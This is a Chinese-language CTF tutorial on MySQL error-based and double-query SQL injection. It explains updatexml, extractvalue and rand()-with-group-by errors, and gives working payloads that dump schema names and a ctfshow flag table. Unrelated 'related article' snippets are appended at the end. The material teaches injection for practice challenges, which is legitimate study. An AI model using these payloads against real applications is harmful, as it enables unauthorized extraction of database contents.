CTF常用sql注入(二)报错注入(普通以及双查询)
0x05 报错注入
适用于页面无正常回显,但是有报错,那么就可以使用报错注入
基础函数
floor()
向下取整函数
返回小于或等于传入参数的最大整数。换句话说,它将数字向下取整到最接近的整数值。
示例:
floor(3.7) 返回 3
floor(-2.5) 返回 -3round()
四舍五入函数
将传入的数字四舍五入到最接近的整数或指定小数位数的精度。
示例:
round(3.7) 返回 4
round(3.14159, 2) 返回 3.14(保留两位小数)ceil()
向上取整函数
返回大于或等于传入参数的最小整数。与 floor() 函数相反,它将数字向上取整到比给定数字大的最小整数。
示例:
ceil(3.2) 返回 4
ceil(-1.5) 返回 -1count()
在mysql中计算行数mid()
用于截取返回结果的函数
mid((查询语句),1,32)脚标从1开始截取32个字符updatexml()
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串);
第三个参数:new_value,String格式,替换查找到的符合条件的数据;
返回内容:若xpath正确则返回更改对象名称,否则返回xpath错误内容
那么我们如果要注入的话肯定是不能让他正确返回的我们直接
updatexml(任意值,(查询语句),任意值)extractvalue()
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串);
返回内容:若xpath正确则返回目标XML查询的结果,否则返回xpath错误内容
同理即可limit的使用
返回几列中的任意一列
例如
limit 0,1返回第一列
limit 3,1返回第四列right()
right(x,y) 截取x字符串的从右边最后开始数y个字符
right函数的使用是截取字符串的右边部分left()
left(x,y) 截取x字符串的从左边最开始的开始数y个字符
普通报错注入
经过上面的函数我们直接实现即可
?sort=-1 or updatexml(1,concat(0x3d,(select schema_name from information_schema.schemata limit 5,1),0x3d),3)--+

依次类推查下去即可
查到flag部分发现查不完
mid函数
?sort=-1 or updatexml(1,concat(0x3d,mid((select group_concat(flag4s) from ctfshow.flags),32,32),0x3d),3)--+左右函数使用
?sort=-1 or updatexml(1,concat(0x3d,(select left(flag4s,31) from ctfshow.flags),0x3d),3)--+
?sort=-1 or updatexml(1,concat(0x3d,(select right(flag4s,14) from ctfshow.flags),0x3d),3)--+


extractvalue换一下就行
?sort=-1 or extractvalue(1,concat(0x3d,(select right(flag4s,14) from ctfshow.flags),0x3d))--+
?sort=-1 or extractvalue(1,concat(0x3d,(select group_concat(flag4s) from ctfshow.flags),0x3d))--+
双查询报错注入
知识补充
这里我们会使用group by注入来进行重要讲解
rand()函数
生成一个0~1的随机数

select count(*),username from user group by username;

select username,count(*) from user group by username;
此时group by会生成一张虚拟的表其中是key的键值对
大概是这样
| key | count(*) |
|---|---|
| admin | 1 |
| admin2 | 1 |
| admin3 | 1 |
| flag | 1 |
| 前面的名称呢肯定是在username这个列里面所找到的准确的值 |

select username,count(*) from user group by "username";
这个表呢
| key | count(*) |
|---|---|
| username | 4 |
他不会打开列去找值而是直接填充username
由于版本问题我这里已经是无法掩饰了
那么回到正题
我们要利用联合注入来实现双查询报错注入(报错是利用的group by报错原理)
那么看上面的语句大家已经看出来了我们写句子的结构大致就是那个样子
?id=select count(*),concat(0x3d,mid((select group_concat(table_name) from information_schema.schemata)1,32),0x3d,round(rand()*2))a from information_schema.schemata group by a--+聚合函数方便能够正常响应 拼接注入语句 别名a 这个a的内容包括(子查询中查询到的所有内容) 这里from后面的内容是可以替换的 根据a生成虚拟表
查询语句生成的大概是这样的句子,
| key | count(*) |
|---|---|
| =erformance_schema,ctfshow_web=0 | 1 |
| =erformance_schema,ctfshow_web=1 | 1 |
| =erformance_schema,ctfshow_web=2 | 1 |
那么这样子的虚拟表就被生成了,
引用一个师傅的话
最后的报错是最重要的地方!重复的键值;那么为什么键值会重复呢,就是因为concat函数执行了两次,因为concat是连接两个随机字符串,当第二次执行的时候,有可能会出现与第一次键值重复的情况!那么这种情况下,就会报错!也就是:使用聚合函数,group by子句,并利用随机函数产生错误运行时,由于涉及的随机函数和聚合函数计算;当在一个聚合函数,比如count后面如果使用分组语句就会把查询的一部分以错误形式显示出来;因为concat函数执行两次,比如select database(),这样就执行了两次select database,与后面的随机函数链接在一起,可能会随机重复,就会报错;通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中则更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。结论是:当与临时表里面的值进行比较,如果不同,就插入,但是插入的时候又计算了一次,所以如果插入时计算的值与直接比较的值不一样,则报错!
相关文章:
CTF常用sql注入(二)报错注入(普通以及双查询)
0x05 报错注入 适用于页面无正常回显,但是有报错,那么就可以使用报错注入 基础函数 floor() 向下取整函数 返回小于或等于传入参数的最大整数。换句话说,它将数字向下取整到最接近的整数值。 示例: floor(3.7) 返回 3 floor(-2…...
LabVIEW汽车ECU测试系统
开发了一个基于LabVIEW开发的汽车发动机控制单元(ECU)测试系统。该系统使用了NI的硬件和LabVIEW软件,能够自动执行ECU的功能测试和性能测试,确保其在不同工作条件下的可靠性和功能性。通过自动化测试系统,大大提高了测…...
3个让你爽到爆炸的学习工具
We OCR WeOCR 是一个基于浏览器的文字识别工具,用户可以通过上传图片来识别其中的文本信息。它是一个渐进式网络应用程序(PWA),可以在浏览器中离线使用。WeOCR 是开源的,并且基于 Tesseract OCR 引擎开发。用户无需在本…...
Java 重载和重写
Java 重载和重写 重写重载定义指子类定义了一个与其父类中具有相同名称、参数列表和返回类型的方法,并且子类方法的实现覆盖了父类方法的实现。 参数列表和方法名必须相同,即外壳不变,核心重写指在一个类里面,方法名字相同&#x…...
ode45的例程|MATLAB例程|四阶龙格库塔定步长节微分方程
ode45自己编的程序和测试代码 模型 模拟一个卫星绕大行星飞行的轨迹计算。 结果 轨迹图如下: 源代码 以下代码复制到MATLAB上即可运行,并得到上面的图像: % ode45自己编的程序和测试代码 % Evand©2024 % 2024-7-2/Ver1 clear;clc;close all; rng(0); % 参数设定…...
“第六感”真的存在吗?
现在已有证据表明,人类除视觉、听觉、嗅觉、味觉和触觉五种感觉以外,确实存在“第六感” “第六感”的学术名称为“超感自知觉”(简称ESP),它能透过正感官之外的渠道接收信息, 预知将要发生的事,而且与当事人之前的经…...
软信天成:您的数据仓库真的“达标”了吗?
在复杂多变的数据环境中,您的数据仓库是否真的“达标”了?本文将深入探讨数据仓库的定义、合格标准及其与数据库的区别,帮助您全面审视并优化您的数据仓库。 一、什么是数据仓库? 数据仓库是一个面向主题的、集成的、相对稳定的、…...
TCP/IP模型每层内容和传输单位
TCP/IP(Transmission Control Protocol/Internet Protocol)模型是一种用于描述网络通信中协议层次结构的模型,它最初被设计用来描述互联网的协议栈。TCP/IP模型通常分为四层,自下而上分别为: 网络接入层(Ne…...
EtherCAT通讯介绍
一、EtherCAT简介 EtherCAT(Ethernet for Control Automation Technology)是一种实时以太网技术,是由德国公司Beckhoff Automation在2003年首次推出的。它是一种开放的工业以太网标准,被设计用于满足工业自动化应用中的高性能和低…...
14-4 深入探究小型语言模型 (SLM)
大型语言模型 (LLM) 已经流行了一段时间。最近,小型语言模型 (SLM) 增强了我们处理和使用各种自然语言和编程语言的能力。但是,一些用户查询需要比在通用语言上训练的模型所能提供的更高的准确性和领域知识。此外,还需要定制小型语言模型&…...
ai智能语音机器人化繁为简让沟通无界限
人工智能这些年的飞速发展一方面顺应着国家智能化发展的规划,一方面印证着智能改动生活的预言。人工智能的开展与人们最息息相关大约就是智能手机的换代更迭,相信大家都有这方面的感受吧!如今企业的电销话务员越来越少,机器人智能…...
c++ primer plus 第15章友,异常和其他:友元类
c primer plus 第15章友,异常和其他:友元类 提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加 例如:友元类 提示:写完文章后,目录可以自动生成,如何生成可参考右边的…...
面试题002-Java-Java集合
面试题002-Java-Java集合 目录 面试题002-Java-Java集合题目自测题目答案1. 说说 List,Set,Map 三者的区别?三者底层的数据结构?2. 有哪些集合是线程不安全的?怎么解决呢?3. 比较 HashSet 、LinkedHashSet 和 TreeSet 三者的异同&…...
数组越界情况
数组越界情况...
工作日常学习记录
使用情景 今天开发上遇到一个搜索的需求,要求可以多选,模糊查询。我首先和前端沟通,前端多选后使用逗号分隔,拼成字符串传输给我,我后端再进行具体的处理。 具体处理 初步构想 由于需要查询的字段也是一个长的字符…...
C#中的容器
1、数组 数组是存储相同类型元素的固定大小的顺序集合 声明数组时,必须指定数组的大小 2.数组的插入和删除数据比较麻烦,但是查询比较快 2、动态数组(ArrayList) 动态数组:可自动调节数组的大小 可以存储任意类型数…...
rust + mingw安装教程
0. 说明 windows上安装rust时,需要在电脑上安装C/C构建工具。推荐的的两种工具链可以选择: visual studio build toolsmingw 官方推荐使用visual studio,若你的电脑上已经安装了visual studio,则无需再安装,直接安装…...
【sqlite3】联系人管理系统
SQLite3实现简单的联系人管理系统 有关sqlite3的基础知识请点击:SQLite3的使用 效果展示: 创建一个名为contacts.db的数据库 首先,我们需要创建一个名为contacts.db的数据库,并建立一个名为"contact"的表࿰…...
秋招Java后端开发冲刺——并发篇2(JMM与锁机制)
本文对Java的内存管理模型、volatile关键字和锁机制进行详细阐述,包括synchronized关键字、Lock接口及其实现类ReentrantLock、AQS等的实现原理和常见方法。 一、JMM(Java内存模型) 1. 介绍 JMM定义了共享内存中多线程程序读写操作的行为规…...
记录一次Chrome浏览器自动排序ajax请求的JSON数据问题
文章目录 1.前言2. 为什么会这样?3.如何解决? 1.前言 作者作为新人入职的第一天,mentor给了一个维护公司运营平台的小需求,具体需求是根据运营平台的某个管理模块所展示记录的某些字段对展示记录做排序。 第一步: myb…...
51c自动驾驶~合集58
我自己的原文哦~ https://blog.51cto.com/whaosoft/13967107 #CCA-Attention 全局池化局部保留,CCA-Attention为LLM长文本建模带来突破性进展 琶洲实验室、华南理工大学联合推出关键上下文感知注意力机制(CCA-Attention),…...
大数据零基础学习day1之环境准备和大数据初步理解
学习大数据会使用到多台Linux服务器。 一、环境准备 1、VMware 基于VMware构建Linux虚拟机 是大数据从业者或者IT从业者的必备技能之一也是成本低廉的方案 所以VMware虚拟机方案是必须要学习的。 (1)设置网关 打开VMware虚拟机,点击编辑…...
条件运算符
C中的三目运算符(也称条件运算符,英文:ternary operator)是一种简洁的条件选择语句,语法如下: 条件表达式 ? 表达式1 : 表达式2• 如果“条件表达式”为true,则整个表达式的结果为“表达式1”…...
[ICLR 2022]How Much Can CLIP Benefit Vision-and-Language Tasks?
论文网址:pdf 英文是纯手打的!论文原文的summarizing and paraphrasing。可能会出现难以避免的拼写错误和语法错误,若有发现欢迎评论指正!文章偏向于笔记,谨慎食用 目录 1. 心得 2. 论文逐段精读 2.1. Abstract 2…...
成都鼎讯硬核科技!雷达目标与干扰模拟器,以卓越性能制胜电磁频谱战
在现代战争中,电磁频谱已成为继陆、海、空、天之后的 “第五维战场”,雷达作为电磁频谱领域的关键装备,其干扰与抗干扰能力的较量,直接影响着战争的胜负走向。由成都鼎讯科技匠心打造的雷达目标与干扰模拟器,凭借数字射…...
css3笔记 (1) 自用
outline: none 用于移除元素获得焦点时默认的轮廓线 broder:0 用于移除边框 font-size:0 用于设置字体不显示 list-style: none 消除<li> 标签默认样式 margin: xx auto 版心居中 width:100% 通栏 vertical-align 作用于行内元素 / 表格单元格ÿ…...
【深度学习新浪潮】什么是credit assignment problem?
Credit Assignment Problem(信用分配问题) 是机器学习,尤其是强化学习(RL)中的核心挑战之一,指的是如何将最终的奖励或惩罚准确地分配给导致该结果的各个中间动作或决策。在序列决策任务中,智能体执行一系列动作后获得一个最终奖励,但每个动作对最终结果的贡献程度往往…...
HTML中各种标签的作用
一、HTML文件主要标签结构及说明 1. <!DOCTYPE html> 作用:声明文档类型,告知浏览器这是 HTML5 文档。 必须:是。 2. <html lang“zh”>. </html> 作用:包裹整个网页内容,lang"z…...
npm安装electron下载太慢,导致报错
npm安装electron下载太慢,导致报错 背景 想学习electron框架做个桌面应用,卡在了安装依赖(无语了)。。。一开始以为node版本或者npm版本太低问题,调整版本后还是报错。偶尔执行install命令后,可以开始下载…...
虚拟机网络不通的问题(这里以win10的问题为主,模式NAT)
当我们网关配置好了,DNS也配置好了,最后在虚拟机里还是无法访问百度的网址。 第一种情况: 我们先考虑一下,网关的IP是否和虚拟机编辑器里的IP一样不,如果不一样需要更改一下,因为我们访问百度需要从物理机…...
